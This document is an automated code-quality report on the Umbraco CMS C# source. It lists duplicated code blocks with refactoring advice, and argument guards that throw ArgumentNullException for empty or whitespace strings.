Duplicated block (11 lines × 2) src/Umbraco.Core/Services/UserGroupService.cs:373— src/Umbraco.Core/Services/UserGroupService.cs:373-383 | src/Umbraco.Core/Services/UserGroupService.cs:460-470 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserGroupService.cs:373` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (11 lines × 2) src/Umbraco.Core/Services/UserService.cs:969— src/Umbraco.Core/Services/UserService.cs:969-979 | src/Umbraco.Core/Services/UserService.cs:1002-1012 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserService.cs:969` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (11 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:182— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:182-192 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:90-100 — before extracting anything, compare `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 32 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:182` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (11 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:103— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:103-113 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:125-135 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:103` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (11 lines × 2) src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyEditor.cs:258— src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyEditor.cs:258-268 | src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentDeletedNotificationHandler.cs:88-98 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (11 lines × 2) src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:109— src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:109-119 | src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:335-345 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:109` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (11 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Installer/InstallerViewModelsMapDefinition.cs:45— src/Umbraco.Cms.Api.Management/Mapping/Installer/InstallerViewModelsMapDefinition.cs:45-55 | src/Umbraco.Cms.Api.Management/Mapping/Installer/InstallerViewModelsMapDefinition.cs:90-100 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `DatabaseInstallRequestModel` in one and `DatabaseInstallData` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (11 lines × 2) src/Umbraco.PublishedCache.HybridCache/Serialization/MsgPackContentNestedDataSerializer.cs:96— src/Umbraco.PublishedCache.HybridCache/Serialization/MsgPackContentNestedDataSerializer.cs:96-107 | src/Umbraco.PublishedCache.HybridCache/Serialization/MsgPackContentNestedDataSerializer.cs:131-141 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Serialization/MsgPackContentNestedDataSerializer.cs:96` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (11 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/ConfigurePhysicalFileSystemCacheOptions.cs:26— src/Umbraco.Cms.Imaging.ImageSharp/ConfigurePhysicalFileSystemCacheOptions.cs:26-36 | src/Umbraco.Cms.Imaging.ImageSharp2/ConfigurePhysicalFileSystemCacheOptions.cs:26-36 — `src/Umbraco.Cms.Imaging.ImageSharp/ConfigurePhysicalFileSystemCacheOptions.cs` and `src/Umbraco.Cms.Imaging.ImageSharp2/ConfigurePhysicalFileSystemCacheOptions.cs` are one unit implemented once per sibling directory, so they are most likely parallel implementations of one contract rather than a copy of each other — this scan matched 1 separate duplicated blocks between them, totalling at least 11 lines. If both are selected at run time, neither can be retired in favour of the other, and the lines that DIFFER between them are the reason both exist. The move that pays here is to hoist the identical part into a shared location the whole family can reach and give what differs a parameter or a seam, so a change lands once instead of once per sibling; extracting one helper per block leaves every sibling to drift on its own.
Duplicated block (11 lines × 2) src/Umbraco.Core/Composing/LazyCollectionBuilderBase.cs:47— src/Umbraco.Core/Composing/LazyCollectionBuilderBase.cs:47-57 | src/Umbraco.Core/Composing/WeightedCollectionBuilderBase.cs:42-52 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (11 lines × 2) src/Umbraco.Core/Composing/LazyCollectionBuilderBase.cs:65— src/Umbraco.Core/Composing/LazyCollectionBuilderBase.cs:65-75 | src/Umbraco.Core/Composing/WeightedCollectionBuilderBase.cs:60-70 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (11 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:343— src/Umbraco.Core/Packaging/PackagesRepository.cs:343-353 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:466-476 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
Duplicated block (11 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Document/References/ReferencedByDocumentController.cs:57— src/Umbraco.Cms.Api.Management/Controllers/Document/References/ReferencedByDocumentController.cs:57-67 | src/Umbraco.Cms.Api.Management/Controllers/Media/References/ReferencedByMediaController.cs:54-64 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
X20 · Mistyped argument guard· Argument guard throws the exception its own condition disproves · ×14
Argument guard throws the exception its own condition disproves src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:85— The guard on line 83 rejects `input` and line 85 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(input)` is true of a value that is NOT null: it is satisfied by an EMPTY `input`, and on that path `input` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Core/Routing/UriUtility.cs:263— The guard on line 261 rejects `absolutePath` and line 263 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrEmpty(absolutePath)` is true of a value that is NOT null: it is satisfied by an EMPTY `absolutePath`, and on that path `absolutePath` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Core/UdiDefinitionAttribute.cs:23— The guard on line 21 rejects `entityType` and line 23 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(entityType)` is true of a value that is NOT null: it is satisfied by an EMPTY `entityType`, and on that path `entityType` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberRoleStore.cs:203— The guard on line 201 rejects `roleId` and line 203 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleId)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleId`, and on that path `roleId` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberRoleStore.cs:248— The guard on line 246 rejects `name` and line 248 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(name)` is true of a value that is NOT null: it is satisfied by an EMPTY `name`, and on that path `name` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:423— The guard on line 421 rejects `userId` and line 423 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(userId)` is true of a value that is NOT null: it is satisfied by an EMPTY `userId`, and on that path `userId` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:546— The guard on line 544 rejects `loginProvider` and line 546 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:551— The guard on line 549 rejects `providerKey` and line 551 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:622— The guard on line 620 rejects `loginProvider` and line 622 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:627— The guard on line 625 rejects `providerKey` and line 627 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:661— The guard on line 659 rejects `loginProvider` and line 661 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:666— The guard on line 664 rejects `providerKey` and line 666 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:725— The guard on line 723 rejects `roleName` and line 725 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleName)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleName`, and on that path `roleName` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Argument guard throws the exception its own condition disproves src/Umbraco.Infrastructure/Security/MemberUserStore.cs:810— The guard on line 808 rejects `roleName` and line 810 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleName)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleName`, and on that path `roleName` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition.
Duplicated block (15 lines × 2) src/Umbraco.Core/Scoping/LockingMechanism.cs:338— src/Umbraco.Core/Scoping/LockingMechanism.cs:338-352 | src/Umbraco.Core/Scoping/LockingMechanism.cs:366-380 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (15 lines × 2) src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:1061— src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:1061-1075 | src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:1179-1193 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs:1061` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (15 lines × 2) src/Umbraco.Core/Services/EntityXmlSerializer.cs:293— src/Umbraco.Core/Services/EntityXmlSerializer.cs:293-307 | src/Umbraco.Core/Services/EntityXmlSerializer.cs:567-581 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/EntityXmlSerializer.cs:293` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (15 lines × 2) src/Umbraco.Infrastructure/Persistence/Dtos/CreatedPackageSchemaDto.cs:34— src/Umbraco.Infrastructure/Persistence/Dtos/CreatedPackageSchemaDto.cs:34-48 | src/Umbraco.Infrastructure/Persistence/Dtos/ExternalLoginTokenDto.cs:39-53 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (15 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1122— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1122-1136 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:887-902 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1122` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IMember` in one and `IUser` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (15 lines × 2) src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:287— src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:287-301 | src/Umbraco.Infrastructure/Persistence/SqlSyntax/SqlSyntaxProviderBase.cs:751-765 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.Sqlite/Services/SqliteSyntaxProvider.cs:287` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (15 lines × 2) src/Umbraco.Infrastructure/PropertyEditors/TextAreaPropertyEditor.cs:44— src/Umbraco.Infrastructure/PropertyEditors/TextAreaPropertyEditor.cs:44-58 | src/Umbraco.Infrastructure/PropertyEditors/TextboxPropertyEditor.cs:45-59 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/PropertyEditors/TextAreaPropertyEditor.cs:44` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The `return` at the foot of the matched lines is the enclosing body's own terminal exit, not an early one: it moves with them unchanged, and each site calls the extracted unit from the position that `return` occupied — no decision has to be handed back and re-acted on.
Duplicated block (15 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:53— src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs:53-67 | src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs:41-55 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Mapping/Document/DocumentMapDefinition.cs` and `src/Umbraco.Cms.Api.Management/Mapping/Element/ElementMapDefinition.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 46 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Note first that the copies are not typed on the same thing: the declarations holding them bind `source` to `IContent` in one and `IElement` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (15 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:835— src/Umbraco.Core/Packaging/PackagesRepository.cs:835-851 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:839-853 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
Duplicated block (15 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:859— src/Umbraco.Core/Packaging/PackagesRepository.cs:859-875 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:856-870 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place.
Duplicated block (15 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:182— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:182-196 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:98-112 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (15 lines × 2) src/Umbraco.Cms.Api.Common/Rendering/ElementOnlyOutputExpansionStrategy.cs:97— src/Umbraco.Cms.Api.Common/Rendering/ElementOnlyOutputExpansionStrategy.cs:97-111 | src/Umbraco.Cms.Api.Delivery/Rendering/RequestContextOutputExpansionStrategy.cs:37-51 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (14 lines × 2) src/Umbraco.Core/Models/UserExtensions.cs:432— src/Umbraco.Core/Models/UserExtensions.cs:432-445 | src/Umbraco.Core/Models/UserExtensions.cs:454-467 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Models/UserExtensions.cs:432` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
